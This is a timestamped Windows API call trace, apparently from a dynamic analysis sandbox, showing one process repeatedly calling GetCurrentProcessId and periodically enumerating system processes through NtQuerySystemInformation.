[0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.601] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.602] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0186.603] GetCurrentProcessId () returned 0xbf4 [0187.182] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1c9a0) returned 0x0 [0187.190] GetCurrentProcessId () returned 0xbf4 [0187.190] GetCurrentProcessId () returned 0xbf4 [0187.190] GetCurrentProcessId () returned 0xbf4 [0187.190] GetCurrentProcessId () returned 0xbf4 [0187.190] GetCurrentProcessId () returned 0xbf4 [0187.190] GetCurrentProcessId () returned 0xbf4 [0187.190] GetCurrentProcessId () returned 0xbf4 [0187.190] GetCurrentProcessId () returned 0xbf4 [0187.190] GetCurrentProcessId () returned 0xbf4 [0187.190] GetCurrentProcessId () returned 0xbf4 [0187.190] GetCurrentProcessId () returned 0xbf4 [0187.190] GetCurrentProcessId () returned 0xbf4 [0187.190] GetCurrentProcessId () returned 0xbf4 [0187.190] GetCurrentProcessId () returned 0xbf4 [0187.190] GetCurrentProcessId () returned 0xbf4 [0187.190] GetCurrentProcessId () returned 0xbf4 [0187.190] GetCurrentProcessId () returned 0xbf4 [0187.190] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.191] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.192] GetCurrentProcessId () returned 0xbf4 [0187.193] GetCurrentProcessId () returned 0xbf4 [0187.193] GetCurrentProcessId () returned 0xbf4 [0187.193] GetCurrentProcessId () returned 0xbf4 [0187.193] GetCurrentProcessId () returned 0xbf4 [0187.193] GetCurrentProcessId () returned 0xbf4 [0187.193] GetCurrentProcessId () returned 0xbf4 [0187.193] GetCurrentProcessId () returned 0xbf4 [0187.193] GetCurrentProcessId () returned 0xbf4 [0187.193] GetCurrentProcessId () returned 0xbf4 [0187.193] GetCurrentProcessId () returned 0xbf4 [0187.193] GetCurrentProcessId () returned 0xbf4 [0187.193] GetCurrentProcessId () returned 0xbf4 [0187.193] GetCurrentProcessId () returned 0xbf4 [0187.193] GetCurrentProcessId () returned 0xbf4 [0187.193] GetCurrentProcessId () returned 0xbf4 [0187.193] GetCurrentProcessId () returned 0xbf4 [0187.193] GetCurrentProcessId () returned 0xbf4 [0187.193] GetCurrentProcessId () returned 0xbf4 [0187.193] GetCurrentProcessId () returned 0xbf4 [0187.193] GetCurrentProcessId () returned 0xbf4 [0187.193] GetCurrentProcessId () returned 0xbf4 [0187.193] GetCurrentProcessId () returned 0xbf4 [0187.193] GetCurrentProcessId () returned 0xbf4 [0187.193] GetCurrentProcessId () returned 0xbf4 [0187.193] GetCurrentProcessId () returned 0xbf4 [0187.193] GetCurrentProcessId () returned 0xbf4 [0187.926] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1c9f0) returned 0x0 [0187.931] GetCurrentProcessId () returned 0xbf4 [0187.931] GetCurrentProcessId () returned 0xbf4 [0187.931] GetCurrentProcessId () returned 0xbf4 [0187.931] GetCurrentProcessId () returned 0xbf4 [0187.931] GetCurrentProcessId () returned 0xbf4 [0187.931] GetCurrentProcessId () returned 0xbf4 [0187.931] GetCurrentProcessId () returned 0xbf4 [0187.932] GetCurrentProcessId () returned 0xbf4 [0187.932] GetCurrentProcessId () returned 0xbf4 [0187.932] GetCurrentProcessId () returned 0xbf4 [0187.932] GetCurrentProcessId () returned 0xbf4 [0187.932] GetCurrentProcessId () returned 0xbf4 [0187.932] GetCurrentProcessId () returned 0xbf4 [0187.932] GetCurrentProcessId () returned 0xbf4 [0187.932] GetCurrentProcessId () returned 0xbf4 [0187.933] GetCurrentProcessId () returned 0xbf4 [0187.933] GetCurrentProcessId () returned 0xbf4 [0187.933] GetCurrentProcessId () returned 0xbf4 [0187.933] GetCurrentProcessId () returned 0xbf4 [0187.933] GetCurrentProcessId () returned 0xbf4 [0187.933] GetCurrentProcessId () returned 0xbf4 [0187.933] GetCurrentProcessId () returned 0xbf4 [0187.933] GetCurrentProcessId () returned 0xbf4 [0187.933] GetCurrentProcessId () returned 0xbf4 [0187.933] GetCurrentProcessId () returned 0xbf4 [0187.933] GetCurrentProcessId () returned 0xbf4 [0187.933] GetCurrentProcessId () returned 0xbf4 [0187.933] GetCurrentProcessId () returned 0xbf4 [0187.933] GetCurrentProcessId () returned 0xbf4 [0187.934] GetCurrentProcessId () returned 0xbf4 [0187.934] GetCurrentProcessId () returned 0xbf4 [0187.934] GetCurrentProcessId () returned 0xbf4 [0187.934] GetCurrentProcessId () returned 0xbf4 [0187.934] GetCurrentProcessId () returned 0xbf4 [0187.934] GetCurrentProcessId () returned 0xbf4 [0187.934] GetCurrentProcessId () returned 0xbf4 [0187.934] GetCurrentProcessId () returned 0xbf4 [0187.934] GetCurrentProcessId () returned 0xbf4 [0187.934] GetCurrentProcessId () returned 0xbf4 [0187.934] GetCurrentProcessId () returned 0xbf4 [0187.934] GetCurrentProcessId () returned 0xbf4 [0187.934] GetCurrentProcessId () returned 0xbf4 [0187.934] GetCurrentProcessId () returned 0xbf4 [0187.935] GetCurrentProcessId () returned 0xbf4 [0187.935] GetCurrentProcessId () returned 0xbf4 [0187.935] GetCurrentProcessId () returned 0xbf4 [0187.935] GetCurrentProcessId () returned 0xbf4 [0187.935] GetCurrentProcessId () returned 0xbf4 [0187.935] GetCurrentProcessId () returned 0xbf4 [0187.935] GetCurrentProcessId () returned 0xbf4 [0187.935] GetCurrentProcessId () returned 0xbf4 [0187.935] GetCurrentProcessId () returned 0xbf4 [0187.935] GetCurrentProcessId () returned 0xbf4 [0187.935] GetCurrentProcessId () returned 0xbf4 [0187.935] GetCurrentProcessId () returned 0xbf4 [0187.935] GetCurrentProcessId () returned 0xbf4 [0187.935] GetCurrentProcessId () returned 0xbf4 [0187.935] GetCurrentProcessId () returned 0xbf4 [0187.935] GetCurrentProcessId () returned 0xbf4 [0187.936] GetCurrentProcessId () returned 0xbf4 [0187.936] GetCurrentProcessId () returned 0xbf4 [0187.936] GetCurrentProcessId () returned 0xbf4 [0187.936] GetCurrentProcessId () returned 0xbf4 [0187.936] GetCurrentProcessId () returned 0xbf4 [0187.936] GetCurrentProcessId () returned 0xbf4 [0187.936] GetCurrentProcessId () returned 0xbf4 [0187.936] GetCurrentProcessId () returned 0xbf4 [0187.936] GetCurrentProcessId () returned 0xbf4 [0187.936] GetCurrentProcessId () returned 0xbf4 [0187.936] GetCurrentProcessId () returned 0xbf4 [0187.936] GetCurrentProcessId () returned 0xbf4 [0187.936] GetCurrentProcessId () returned 0xbf4 [0187.936] GetCurrentProcessId () returned 0xbf4 [0187.937] GetCurrentProcessId () returned 0xbf4 [0187.937] GetCurrentProcessId () returned 0xbf4 [0187.937] GetCurrentProcessId () returned 0xbf4 [0187.937] GetCurrentProcessId () returned 0xbf4 [0187.937] GetCurrentProcessId () returned 0xbf4 [0187.937] GetCurrentProcessId () returned 0xbf4 [0187.937] GetCurrentProcessId () returned 0xbf4 [0187.937] GetCurrentProcessId () returned 0xbf4 [0187.937] GetCurrentProcessId () returned 0xbf4 [0187.937] GetCurrentProcessId () returned 0xbf4 [0187.937] GetCurrentProcessId () returned 0xbf4 [0187.937] GetCurrentProcessId () returned 0xbf4 [0187.937] GetCurrentProcessId () returned 0xbf4 [0187.937] GetCurrentProcessId () returned 0xbf4 [0187.937] GetCurrentProcessId () returned 0xbf4 [0187.938] GetCurrentProcessId () returned 0xbf4 [0187.938] GetCurrentProcessId () returned 0xbf4 [0187.938] GetCurrentProcessId () returned 0xbf4 [0187.938] GetCurrentProcessId () returned 0xbf4 [0187.938] GetCurrentProcessId () returned 0xbf4 [0187.938] GetCurrentProcessId () returned 0xbf4 [0187.938] GetCurrentProcessId () returned 0xbf4 [0187.938] GetCurrentProcessId () returned 0xbf4 [0187.938] GetCurrentProcessId () returned 0xbf4 [0187.938] GetCurrentProcessId () returned 0xbf4 [0187.938] GetCurrentProcessId () returned 0xbf4 [0187.938] GetCurrentProcessId () returned 0xbf4 [0187.938] GetCurrentProcessId () returned 0xbf4 [0187.938] GetCurrentProcessId () returned 0xbf4 [0187.939] GetCurrentProcessId () returned 0xbf4 [0187.939] GetCurrentProcessId () returned 0xbf4 [0187.939] GetCurrentProcessId () returned 0xbf4 [0187.939] GetCurrentProcessId () returned 0xbf4 [0187.939] GetCurrentProcessId () returned 0xbf4 [0188.663] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca40) returned 0x0 [0188.665] GetCurrentProcessId () returned 0xbf4 [0188.665] GetCurrentProcessId () returned 0xbf4 [0188.665] GetCurrentProcessId () returned 0xbf4 [0188.665] GetCurrentProcessId () returned 0xbf4 [0188.665] GetCurrentProcessId () returned 0xbf4 [0188.665] GetCurrentProcessId () returned 0xbf4 [0188.665] GetCurrentProcessId () returned 0xbf4 [0188.665] GetCurrentProcessId () returned 0xbf4 [0188.665] GetCurrentProcessId () returned 0xbf4 [0188.665] GetCurrentProcessId () returned 0xbf4 [0188.666] GetCurrentProcessId () returned 0xbf4 [0188.666] GetCurrentProcessId () returned 0xbf4 [0188.666] GetCurrentProcessId () returned 0xbf4 [0188.666] GetCurrentProcessId () returned 0xbf4 [0188.666] GetCurrentProcessId () returned 0xbf4 [0188.666] GetCurrentProcessId () returned 0xbf4 [0188.666] GetCurrentProcessId () returned 0xbf4 [0188.666] GetCurrentProcessId () returned 0xbf4 [0188.666] GetCurrentProcessId () returned 0xbf4 [0188.666] GetCurrentProcessId () returned 0xbf4 [0188.666] GetCurrentProcessId () returned 0xbf4 [0188.666] GetCurrentProcessId () returned 0xbf4 [0188.666] GetCurrentProcessId () returned 0xbf4 [0188.666] GetCurrentProcessId () returned 0xbf4 [0188.666] GetCurrentProcessId () returned 0xbf4 [0188.666] GetCurrentProcessId () returned 0xbf4 [0188.666] GetCurrentProcessId () returned 0xbf4 [0188.666] GetCurrentProcessId () returned 0xbf4 [0188.666] GetCurrentProcessId () returned 0xbf4 [0188.666] GetCurrentProcessId () returned 0xbf4 [0188.666] GetCurrentProcessId () returned 0xbf4 [0188.666] GetCurrentProcessId () returned 0xbf4 [0188.666] GetCurrentProcessId () returned 0xbf4 [0188.666] GetCurrentProcessId () returned 0xbf4 [0188.666] GetCurrentProcessId () returned 0xbf4 [0188.666] GetCurrentProcessId () returned 0xbf4 [0188.667] GetCurrentProcessId () returned 0xbf4 [0188.667] GetCurrentProcessId () returned 0xbf4 [0188.667] GetCurrentProcessId () returned 0xbf4 [0188.667] GetCurrentProcessId () returned 0xbf4 [0188.667] GetCurrentProcessId () returned 0xbf4 [0188.667] GetCurrentProcessId () returned 0xbf4 [0188.667] GetCurrentProcessId () returned 0xbf4 [0188.667] GetCurrentProcessId () returned 0xbf4 [0188.667] GetCurrentProcessId () returned 0xbf4 [0188.667] GetCurrentProcessId () returned 0xbf4 [0188.667] GetCurrentProcessId () returned 0xbf4 [0188.667] GetCurrentProcessId () returned 0xbf4 [0188.667] GetCurrentProcessId () returned 0xbf4 [0188.667] GetCurrentProcessId () returned 0xbf4 [0188.667] GetCurrentProcessId () returned 0xbf4 [0188.667] GetCurrentProcessId () returned 0xbf4 [0188.667] GetCurrentProcessId () returned 0xbf4 [0188.667] GetCurrentProcessId () returned 0xbf4 [0188.667] GetCurrentProcessId () returned 0xbf4 [0188.667] GetCurrentProcessId () returned 0xbf4 [0188.667] GetCurrentProcessId () returned 0xbf4 [0188.667] GetCurrentProcessId () returned 0xbf4 [0188.667] GetCurrentProcessId () returned 0xbf4 [0188.667] GetCurrentProcessId () returned 0xbf4 [0188.667] GetCurrentProcessId () returned 0xbf4 [0188.668] GetCurrentProcessId () returned 0xbf4 [0188.668] GetCurrentProcessId () returned 0xbf4 [0188.668] GetCurrentProcessId () returned 0xbf4 [0188.668] GetCurrentProcessId () returned 0xbf4 [0188.668] GetCurrentProcessId () returned 0xbf4 [0188.668] GetCurrentProcessId () returned 0xbf4 [0188.668] GetCurrentProcessId () returned 0xbf4 [0188.668] GetCurrentProcessId () returned 0xbf4 [0188.668] GetCurrentProcessId () returned 0xbf4 [0188.668] GetCurrentProcessId () returned 0xbf4 [0188.668] GetCurrentProcessId () returned 0xbf4 [0188.668] GetCurrentProcessId () returned 0xbf4 [0188.668] GetCurrentProcessId () returned 0xbf4 [0188.668] GetCurrentProcessId () returned 0xbf4 [0188.668] GetCurrentProcessId () returned 0xbf4 [0188.668] GetCurrentProcessId () returned 0xbf4 [0188.668] GetCurrentProcessId () returned 0xbf4 [0188.668] GetCurrentProcessId () returned 0xbf4 [0188.668] GetCurrentProcessId () returned 0xbf4 [0188.668] GetCurrentProcessId () returned 0xbf4 [0188.668] GetCurrentProcessId () returned 0xbf4 [0188.668] GetCurrentProcessId () returned 0xbf4 [0188.668] GetCurrentProcessId () returned 0xbf4 [0188.668] GetCurrentProcessId () returned 0xbf4 [0188.668] GetCurrentProcessId () returned 0xbf4 [0188.668] GetCurrentProcessId () returned 0xbf4 [0188.668] GetCurrentProcessId () returned 0xbf4 [0188.669] GetCurrentProcessId () returned 0xbf4 [0188.669] GetCurrentProcessId () returned 0xbf4 [0188.669] GetCurrentProcessId () returned 0xbf4 [0188.669] GetCurrentProcessId () returned 0xbf4 [0188.669] GetCurrentProcessId () returned 0xbf4 [0188.669] GetCurrentProcessId () returned 0xbf4 [0188.669] GetCurrentProcessId () returned 0xbf4 [0188.669] GetCurrentProcessId () returned 0xbf4 [0188.669] GetCurrentProcessId () returned 0xbf4 [0188.669] GetCurrentProcessId () returned 0xbf4 [0188.669] GetCurrentProcessId () returned 0xbf4 [0188.669] GetCurrentProcessId () returned 0xbf4 [0188.669] GetCurrentProcessId () returned 0xbf4 [0188.669] GetCurrentProcessId () returned 0xbf4 [0188.669] GetCurrentProcessId () returned 0xbf4 [0188.669] GetCurrentProcessId () returned 0xbf4 [0188.669] GetCurrentProcessId () returned 0xbf4 [0188.669] GetCurrentProcessId () returned 0xbf4 [0188.669] GetCurrentProcessId () returned 0xbf4 [0189.390] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca90) returned 0x0 [0190.127] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cdc8) returned 0x0 [0190.706] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cdc8) returned 0x0 [0191.287] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cf08) returned 0x0 [0191.940] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cf58) returned 0x0 [0193.464] GetCurrentProcessId () returned 0xbf4 [0193.464] GetCurrentProcessId () returned 0xbf4 [0193.464] GetCurrentProcessId () returned 0xbf4 [0193.464] GetCurrentProcessId () returned 0xbf4 [0193.464] GetCurrentProcessId () returned 0xbf4 [0193.464] GetCurrentProcessId () returned 0xbf4 [0193.464] GetCurrentProcessId () returned 0xbf4 [0193.464] GetCurrentProcessId () returned 0xbf4 [0193.465] GetCurrentProcessId () returned 0xbf4 [0193.465] GetCurrentProcessId () returned 0xbf4 [0193.465] GetCurrentProcessId () returned 0xbf4 [0193.465] GetCurrentProcessId () returned 0xbf4 [0193.465] GetCurrentProcessId () returned 0xbf4 [0193.465] GetCurrentProcessId () returned 0xbf4 [0193.465] GetCurrentProcessId () returned 0xbf4 [0193.465] GetCurrentProcessId () returned 0xbf4 [0193.465] GetCurrentProcessId () returned 0xbf4 [0193.465] GetCurrentProcessId () returned 0xbf4 [0193.465] GetCurrentProcessId () returned 0xbf4 [0193.465] GetCurrentProcessId () returned 0xbf4 [0193.465] GetCurrentProcessId () returned 0xbf4 [0193.465] GetCurrentProcessId () returned 0xbf4 [0193.465] GetCurrentProcessId () returned 0xbf4 [0193.465] GetCurrentProcessId () returned 0xbf4 [0193.465] GetCurrentProcessId () returned 0xbf4 [0193.465] GetCurrentProcessId () returned 0xbf4 [0193.465] GetCurrentProcessId () returned 0xbf4 [0193.465] GetCurrentProcessId () returned 0xbf4 [0193.465] GetCurrentProcessId () returned 0xbf4 [0193.465] GetCurrentProcessId () returned 0xbf4 [0193.465] GetCurrentProcessId () returned 0xbf4 [0193.465] GetCurrentProcessId () returned 0xbf4 [0193.465] GetCurrentProcessId () returned 0xbf4 [0193.465] GetCurrentProcessId () returned 0xbf4 [0193.465] GetCurrentProcessId () returned 0xbf4 [0193.465] GetCurrentProcessId () returned 0xbf4 [0193.465] GetCurrentProcessId () returned 0xbf4 [0193.466] GetCurrentProcessId () returned 0xbf4 [0193.466] GetCurrentProcessId () returned 0xbf4 [0193.466] GetCurrentProcessId () returned 0xbf4 [0193.466] GetCurrentProcessId () returned 0xbf4 [0193.466] GetCurrentProcessId () returned 0xbf4 [0193.466] GetCurrentProcessId () returned 0xbf4 [0193.466] GetCurrentProcessId () returned 0xbf4 [0193.466] GetCurrentProcessId () returned 0xbf4 [0193.466] GetCurrentProcessId () returned 0xbf4 [0193.466] GetCurrentProcessId () returned 0xbf4 [0193.466] GetCurrentProcessId () returned 0xbf4 [0193.466] GetCurrentProcessId () returned 0xbf4 [0193.466] GetCurrentProcessId () returned 0xbf4 [0193.466] GetCurrentProcessId () returned 0xbf4 [0193.466] GetCurrentProcessId () returned 0xbf4 [0193.466] GetCurrentProcessId () returned 0xbf4 [0193.466] GetCurrentProcessId () returned 0xbf4 [0193.466] GetCurrentProcessId () returned 0xbf4 [0193.466] GetCurrentProcessId () returned 0xbf4 [0193.466] GetCurrentProcessId () returned 0xbf4 [0193.466] GetCurrentProcessId () returned 0xbf4 [0193.466] GetCurrentProcessId () returned 0xbf4 [0193.466] GetCurrentProcessId () returned 0xbf4 [0193.466] GetCurrentProcessId () returned 0xbf4 [0193.466] GetCurrentProcessId () returned 0xbf4 [0193.466] GetCurrentProcessId () returned 0xbf4 [0193.466] GetCurrentProcessId () returned 0xbf4 [0193.466] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.467] GetCurrentProcessId () returned 0xbf4 [0193.468] GetCurrentProcessId () returned 0xbf4 [0193.468] GetCurrentProcessId () returned 0xbf4 [0193.468] GetCurrentProcessId () returned 0xbf4 [0193.468] GetCurrentProcessId () returned 0xbf4 [0193.468] GetCurrentProcessId () returned 0xbf4 [0193.468] GetCurrentProcessId () returned 0xbf4 [0193.468] GetCurrentProcessId () returned 0xbf4 [0193.468] GetCurrentProcessId () returned 0xbf4 [0193.468] GetCurrentProcessId () returned 0xbf4 [0193.468] GetCurrentProcessId () returned 0xbf4 [0193.468] GetCurrentProcessId () returned 0xbf4 [0193.468] GetCurrentProcessId () returned 0xbf4 [0193.468] GetCurrentProcessId () returned 0xbf4 [0194.040] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1d098) returned 0x0 [0194.089] GetCurrentProcessId () returned 0xbf4 [0194.089] GetCurrentProcessId () returned 0xbf4 [0194.089] GetCurrentProcessId () returned 0xbf4 [0194.089] GetCurrentProcessId () returned 0xbf4 [0194.089] GetCurrentProcessId () returned 0xbf4 [0194.089] GetCurrentProcessId () returned 0xbf4 [0194.089] GetCurrentProcessId () returned 0xbf4 [0194.089] GetCurrentProcessId () returned 0xbf4 [0194.089] GetCurrentProcessId () returned 0xbf4 [0194.089] GetCurrentProcessId () returned 0xbf4 [0194.089] GetCurrentProcessId () returned 0xbf4 [0194.089] GetCurrentProcessId () returned 0xbf4 [0194.089] GetCurrentProcessId () returned 0xbf4 [0194.089] GetCurrentProcessId () returned 0xbf4 [0194.089] GetCurrentProcessId () returned 0xbf4 [0194.089] GetCurrentProcessId () returned 0xbf4 [0194.089] GetCurrentProcessId () returned 0xbf4 [0194.089] GetCurrentProcessId () returned 0xbf4 [0194.089] GetCurrentProcessId () returned 0xbf4 [0194.090] 